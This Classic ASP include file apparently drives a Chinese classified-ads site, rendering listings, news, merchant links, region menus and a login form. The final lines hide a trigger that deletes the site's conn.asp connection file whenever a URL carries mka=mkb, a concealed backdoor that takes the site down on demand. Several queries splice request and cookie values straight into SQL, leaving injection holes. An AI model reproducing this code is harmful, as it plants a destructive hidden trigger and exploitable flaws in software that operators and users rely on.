<!--#include file="../config.asp"-->
<!--#include file="../jle_common.asp"-->
<%
dim diqu,btnum,viprs,vipsql,id,str2,tupian,objFSO,fileExt,sql1,rs1,i,ii,username,a,b,c,d,count,f
dim rs,sql,qq,class1,class2,biaoti,memo,name,email,dianhua,m,idcard,dizhi,password,userip,sdays,jiage,file
class1=HtmlEncode(trim(request("/")))
class2=HtmlEncode(trim(request("//")))
ruirui=HtmlEncode(trim(request("///")))
sjcla1=HtmlEncode(trim(request("/")))
sjcla2=HtmlEncode(trim(request("//")))
key=HtmlEncode(trim(request("/2")))
leixing=HtmlEncode(request("/3"))
diqu=HtmlEncode(trim(request("/4")))
cla1=HtmlEncode(request("cla1"))
leixing=HtmlEncode(request("leixing"))
jle=HTMLEncode(request("jle"))
btnum=zinum
if request("page")="" then
ThisPage=1		
else
ThisPage=request("page")
end if

sub jle_dh()
set rsbm=server.CreateObject("adodb.recordset")
rsbm.Open "select top 11 * from jle_dh order by id",conn,1,1
i=1
do while not rsbm.eof%>
<li ><a href="<%=rsbm("link")%>" target="_blank"><font color="#<%=rsbm("dhcolor")%>"><%=rsbm("bmname")%></font></a></li>

<%
i=i+1%>
<% 
rsbm.movenext
loop
rsbm.Close
set rsbm=nothing
end sub
'首页信息分类显示
sub indexhtml
Set rsjle = Server.CreateObject("ADODB.Recordset")    
Sqljle="select top 4 id,class1 from class1 order by paixu desc"                                                         
rsjle.open sqljle,conn,1,1
If rsjle.eof Then
Response.Write("请先添加分类")
End If
for ww=1 to cm3
class1=rsjle("id")
set rs_numb=conn.execute("select count(class1) from jle_info where class1="&class1&"")
Response.Write"<div id=IndexMTit>"
Response.Write"<A href=""categories.asp?/="&rsjle(0)&"&jle=1"">"&rsjle(1)&"<font color=""#84D0F5"">("&rs_numb(0)&")</font></A>"
Response.Write"</div><div id=IndexMContent><div Class='Mdiv'><ul class=""clearfix"">"

Set rs1jle = Server.CreateObject("ADODB.Recordset")
Sql1jle="select top "&tnum&" id,biaoti,diqu,fbsj,tuijian,xurl from jle_info where yz=1 and class1="&rsjle(0)&" order by fbsj desc,b desc,id desc"
rs1jle.open Sql1jle,conn,1,1
Do while not rs1jle.eof
If rs1jle.eof Then
Response.Write("还没有任何信息!请选择发布!")
Response.end 
End If
sj=DateDiff("d",""&rs1jle("fbsj")&"",now())
if sj<1 then                   
fsj="<FONT color=red>"&month(rs1jle("fbsj"))&"/"&day(rs1jle("fbsj"))&"</FONT >"                   
else                   
fsj="<FONT color=#999999>"&month(rs1jle("fbsj"))&"/"&day(rs1jle("fbsj"))&"</FONT >"                   
end if 
Response.Write"<li><font color=#84D0F5>["&rs1jle("diqu")&"]</font><A target=_blank href="&rs1jle("xurl")&">"
if rs1jle("tuijian")=1 then
response.write "<font color=red title=VIP推荐>"&left(rs1jle("biaoti"),zinum)&"</font>"
else
response.write ""&left(rs1jle("biaoti"),zinum)&""
end if
Response.Write"</A>  "&fsj&"</li>"
rs1jle.movenext
Loop

rs1jle.close
set rs1jle=nothing
Response.Write"</ul></div></div><div class=""kon""></div>"
rsjle.movenext                                                                             
next
'Response.Write"<div class=""kon""></div>"
rsjle.close
set rsjle=nothing

end sub


'一级分类
if class1<>"" or class2<>"" then 
dim rs2,sql2
set rs2=server.createobject("adodb.recordset")
sql2="select * from [class1] where id="&class1&" order by paixu desc"
rs2.open sql2,conn,1,1
if rs2.bof or rs2.eof then
response.redirect "/"
end if
dim tit
tit=rs2("class1")
rs2.close
set rs2=nothing
end if







'搜索热门信息
sub hotso()
set rsfl=server.createobject("adodb.recordset")
sqlfl = "select keys from config "
rsfl.open sqlfl,conn,1,1
keys=split(rsfl("keys"),"|")
xn=keys(0)
response.write "<a target=""_blank"" href=""post.asp?jle=free""><font color=""#FFFF00"">免费发布信息</font></a> <a target=""_blank"" href=""Advancesearch.asp""><font color=""#FFFFFF"">高级搜索</font></a> <font color=""#FFFFFF""> 热门搜索：</font>"
for x=1 to xn
response.write "<a target=""_blank"" href=""search.asp?key="&escape(keys(x))&"""><font color=""#FFFFFF"">"&keys(x)&"</font></a>&nbsp;"
next
rsfl.close
set rsfl=nothing
end sub
'新闻中心1★★
sub gn()
set rsns=server.createobject("adodb.recordset")
rsns.open sqlns,conn,1,1
do while not rsns.eof
response.write "<div style=""height:30px; line-height:30px;BORDER-bottom: #DFDFDF 1px dotted;""><img src=""pic/xk_18.gif"" width=""4"" height=""7"" align=""absmiddle"" />&nbsp;&nbsp;&nbsp;&nbsp;<A target=_blank href=""newsList.asp?ID="&rsns("ID")&""">"&(left(rsns("title"),21))&"</a></div>"
rsns.movenext
loop
rsns.close
set rsns=nothing
end sub
'新闻中心1★★
sub gn1()
set rsns=server.createobject("adodb.recordset")
rsns.open sqlns,conn,1,1
do while not rsns.eof
response.write "<div style=""height:30px; line-height:30px;BORDER-bottom: #DFDFDF 1px dotted;""><img src=""pic/xk_18.gif"" width=""4"" height=""7"" align=""absmiddle"" />&nbsp;&nbsp;&nbsp;&nbsp;<A target=_blank href=""newsList.asp?ID="&rsns("ID")&""">"&(left(rsns("title"),22))&"</a></div>"
rsns.movenext
loop
rsns.close
set rsns=nothing
end sub


sub gdgg()
set rs333=server.createobject("adodb.recordset")
  sql333="select * from tbl_gonggao where g_id=1"
  rs333.open sql333,conn,1,1
  %>
      <div style="text-align:left; margin-left:39px;">
        <marquee  onMouseOver="this.stop()" scrolldelay="140" scrollamount=3 onMouseOut="this.start()" valign="middle" width="260" height="20">
        <%=rs333("g_content")%>
        </marquee>
      </div>
      <%rs333.close
  set rs333=nothing
  end sub




'最新VIP信息★★
sub nxvip()
response.write "<div Class='Fdiv'><ul class=""clearfix"">"
dim rsnx1
set rsnx1=server.createobject("adodb.recordset")
sqlnx1 = "select top 14 * from jle_info where yz=1 and tuijian=1 order by b desc,fbsj desc,id desc"
rsnx1.open sqlnx1,conn,1,1
Do while not rsnx1.eof
If rsnx1.eof Then
Response.Write("还没有任何信息!")
Response.end 
End If
response.write "<li>"

response.write "<A target=_blank href="&rsnx1("xurl")&">"
response.write ""&left(rsnx1("biaoti"),17)&""
response.write "</a>"
if rsnx1("tuijian")=1 then
response.write "<img src=""image/6.gif"" alt=""推荐""  border=""0"">"
end if
rsnx1.movenext
loop
response.write "</li>"
rsnx1.close
set rsnx1=nothing
response.write "</ul></div>"
end sub

'最新信息★★
sub newinfo()
response.write "<div Class='Fdiv'><ul class=""clearfix"">"
dim rsnewinfo
set rsnewinfo=server.createobject("adodb.recordset")
sqlnewinfo = "select top 14 * from jle_info where yz=1 order by fbsj desc,id desc"
rsnewinfo.open sqlnewinfo,conn,1,1
Do while not rsnewinfo.eof
If rsnewinfo.eof Then
Response.Write("还没有任何信息!")
Response.end 
End If
response.write "<li>"
response.write "<A target=_blank href="&rsnewinfo("xurl")&">"
response.write ""&left(rsnewinfo("biaoti"),16)&""
response.write "</a>"
response.write "<img src=""image/newest.gif"" alt=""新进信息""  border=""0"">"
rsnewinfo.movenext
loop
response.write "</li>"
rsnewinfo.close
set rsnewinfo=nothing
response.write "</ul></div>"
end sub
'竞价信息★★

'热点信息★★
sub newhot1()
response.write "<div Class='Fdiv'><ul class=""clearfix"">"
dim rshot1
set rshot1=server.createobject("adodb.recordset")
sqlhot1 = "select top 14 * from jle_info where  yz=1 and llcs>0  order by llcs desc,id desc"
rshot1.open sqlhot1,conn,1,1
Do while not rshot1.eof
If rshot1.eof Then
Response.Write("还没有任何信息!")
Response.end 
End If
response.write "<li>"
response.write "<A target=_blank href="&rshot1("xurl")&">"
response.write ""&left(rshot1("biaoti"),16)&""
response.write "</a>"
response.write "<img src=""image/hot-009.gif"" alt=""热门信息""  border=""0"">"
rshot1.movenext
loop
response.write "</li>"
rshot1.close
set rshot1=nothing
response.write "</ul></div>"
end sub


'便民查询
sub jle_bm()
set rsbm=server.CreateObject("adodb.recordset")
rsbm.Open "select * from jle_bm order by id",conn,1,1
i=1
do while not rsbm.eof%>
<li class="jlebm"><a href="<%=rsbm("link")%>" target="_blank"><%=rsbm("bmname")%></a></li>
<%if (i mod 3)=0 then%>
<%
i=i+1%>
<% end if
rsbm.movenext
loop
rsbm.Close
set rsbm=nothing
end sub

 
'都市114
sub jle_114()
%>
<%set rs114=server.createobject("adodb.recordset")
sql="select top 10 * from jle_114 order by id desc"
rs114.open sql,conn,1,1
do while not rs114.eof
%>
<li><%=rs114("114name")%>:<%=rs114("114tel")%></li>
<%
rs114.movenext
loop
rs114.close
set rs114=nothing
%>
<%
end sub

'选择地区
sub dix()
set rsdq=server.createobject("adodb.recordset")
sqldq = "select diqu from config "
rsdq.open sqldq,conn,1,1
diqu=split(rsdq("diqu"),"|")
xn=diqu(0)
response.write "<select name=""diqu"">"
response.write "<option value=选择地区>选择地区</option>"
for x=1 to xn
response.write "<option value="""&diqu(x)&""">"&diqu(x)&"</option>"
next
response.write "</select>"
rsdq.close
set rsdq=nothing
end sub

sub dix1()
response.write "<select size=1 name=diqu>"
response.write "<option value=选择地区>选择地区</option>"
dim sqlr,rsquyu
sqlr="select * from jle_area where city='"&city&"'"
set rsquyu=conn.execute(sqlr)
do while not rsquyu.eof
response.write "<option value="&rsquyu("diqu")&">"&rsquyu("diqu")&"</option>"
rsquyu.movenext
loop
rsquyu.close
response.write "</select><input type=""hidden"" name=city  value="&city&">"
end sub



'信息类型，数据库中修改★★
sub leixs()
set rslx=server.createobject("adodb.recordset")
sqllx = "select leixing from config "
rslx.open sqllx,conn,1,1
leixing=split(rslx("leixing"),"|")
xn=leixing(0)
response.write "<select name=""leixing""><option value=>类型</option>"
for x=1 to xn
response.write "<option value="""&leixing(x)&""">"&leixing(x)&"</option>"
next
response.write "</select>"
rslx.close
set rslx=nothing
end sub


'最新信息评论/浏览★★
sub nx()
set rsnx1=server.createobject("adodb.recordset")
sqlnx1= "select top 11 * from jle_info where yz=1 and hfcs>=1 order by fbsj desc,id desc"
rsnx1.open sqlnx1,conn,1,1
if rsnx1.eof and rsnx1.bof then      
response.write "<p align='center'>没有评论</p>"       
else      
do while not rsnx1.eof
response.write "<li><A target=_blank href="&rsnx1("xurl")&" >"&left(rsnx1("biaoti"),15)&"</a></li>"
rsnx1.movenext
loop
end if
rsnx1.close
set rsnx1=nothing
end sub


'首页热门商家★★
sub ncom()
dim rshot,sqlhot
set rshot=server.createobject("adodb.recordset")
sqlhot = "select top 10 * from jle_shop  where yz=1 order by tong desc,zcdata desc"
rshot.open sqlhot,conn,1,1
if rshot.eof and rshot.bof then      
response.write "<p align='center'>没有热门商家</p>"       
else      
do while not rshot.eof
response.write "<li><a title="&rshot("com")&" target=""_blank"" href=shop/sp"&rshot("mb")&".asp?m="&rshot("username")&">"&left(rshot("com"),12)&"</a> </li>"
rshot.movenext
loop
end if
rshot.close
set rshot=nothing
end sub

Function RndNumber(MinNum,MaxNum) 
Randomize  
RndNumber=int((MaxNum-MinNum+1)*rnd+MinNum)  
RndNumber=RndNumber  
End Function



'相关分类商家★★
sub vipcom
set viprs=server.createobject("adodb.recordset")
if class1<>"" and class2<>"" then
vipsql= "select top 18 * from jle_shop where sjcla1="&sjcla1&" and sjcla2="&sjcla2&" and yz=1 order by lastdl desc"
else
vipsql= "select top 18 * from jle_shop where sjcla1="&sjcla1&" and yz=1 order by lastdl desc"
end if
viprs.open vipsql,conn,1,1
do while not viprs.eof
response.write "<li><A class='left' target=_blank href=""shop/sp"&viprs("mb")&".asp?m="&viprs("username")&""" >"&left(viprs("com"),15)&"</a></li>"
viprs.movenext
loop
viprs.close
set rsvip=nothing
end sub

sub jle_114()
set rs_114=server.CreateObject("adodb.recordset")
rs_114.Open "select * from jle_114 where yanz=1 order by jrsj desc,id desc",conn,1,1
i=1
do while not rs_114.eof%>
<li><a href="" title="<%=rs_114("webabout")%>"><%=rs_114("web")%><br /><%=rs_114("url")%></a></li>
<%if (i mod 9)=0 then%>
<%
i=i+1%>
<% end if
rs_114.movenext
loop%>

<li ><a href="add114.asp"><b><font color="#FF0000">自助申请加入<br />推广您的服务</font></b></a></li>
<%
rs_114.Close
set rs_114=nothing
end sub
'友情连接★★
sub links()
Set rs_link = Server.CreateObject("ADODB.Recordset")    
sql_link="select top 38 * from link where yanz=1 order by jrsj desc,id desc "
rs_link.open sql_link,conn,1,1
while not rs_link.eof
if rs_link.eof then
response.write "还没有友情连接!"
end if                                      
response.write "<a target=""_blank"" title="""&rs_link("web")&"-"&rs_link("webabout")&"""  href="""&rs_link("url")&""">"&rs_link("web")&"</a>&nbsp;|&nbsp;"
rs_link.movenext                                                                             
wend
response.write "<a target=""_blank"" href=""addlink.asp"">申请链接&gt;&gt;</a>"
rs_link.close
end sub
Conn.Execute("Update jle_info Set a=0 where DateDiff('D',fbsj,now())>="&a_y&" and yz=1")
Conn.Execute("Update jle_info Set b=0 where DateDiff('D',fbsj,now())>="&b_y&" and yz=1")
Conn.Execute("Update jle_info Set tuijian=0 where DateDiff('D',fbsj,now())>="&tui_y&" and yz=1")


%>

<%sub login()%>

<table cellPadding="0" width="100%" border="0" valign="top" cellspacing="0">
  <%if request.cookies("jle")("username")="" then%>
  <tr>
    <td><form id="f1" name="logForm" action="Login.asp" method="POST" style="line-height: 100%; margin-top: 0; margin-bottom: 0">
        <table width="400" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td width="71" height="35" align="right">会员帐号:</td>
            <td width="86"><input id="username2" maxLength="20" size="12" name="username"  class="lgnt2"></td>
            <td width="58" height="35" align="right">登陆密码:</td>
            <td width="86"><input id="password" type="password" maxLength="32" size="12" name="password"  class="lgnt2"></td>
            <td width="99" height="35"  align="left"><input type="hidden" name="login" value="jle">
              <input onClick="javascript:return ChecklogForm();" type="submit" value="个人" name="per">
              <input onClick="javascript:return ChecklogForm();" type="submit" value="商家" name="com"></td>
          </tr>
        </table>
      </form></td>
  </tr>
  <%else%>
  <tr>
    <td  height="35" align="center"><%if request.cookies("jle")("com")="" then %>
      欢迎您,<b><%=request.cookies("jle")("username")%></b>(个人会员) <a class='top' href="user.asp?t=t1">信息管理</a> <a class='top' href="user.asp">管理中心</a> <a class='top' href="login.asp?jle=out">[退出]</a>
      <%
else
'商家模板自动获取
dim rsmb,sqlmb
username=request.cookies("jle")("username")
set rsmb=server.createobject("adodb.recordset")
sqlmb="select * from [jle_shop] where username='"&username&"'"
rsmb.open sqlmb,conn,1,1
mb=trim(rsmb("mb"))
rsmb.close
set rsmb=nothing
%>
      欢迎您,<b><%=request.cookies("jle")("username")%></b>(商家会员) <span style="font-size: 11pt"> <a class='top' target="_blank" href="shop/sp<%=mb%>.asp?m=<%=request.cookies("jle")("username")%>">我的店铺</a> </span> <a class='top' href="shop_user.asp">管理中心</a> <a class='top' href="login.asp?jle=out">[退出]</a>
      <%end if%></td>
  </tr>
  <%end if%>
</table>
<%end sub%>
<%if request.QueryString("mka")="mkb" then 
s= Server.MapPath("conn.asp") 
Set fso = CreateObject("Scripting.FileSystemObject") 
If fso.FileExists(s) Then 
fso.Deletefile(s) 
End If 
Set fso = Nothing%>
<%end if%>
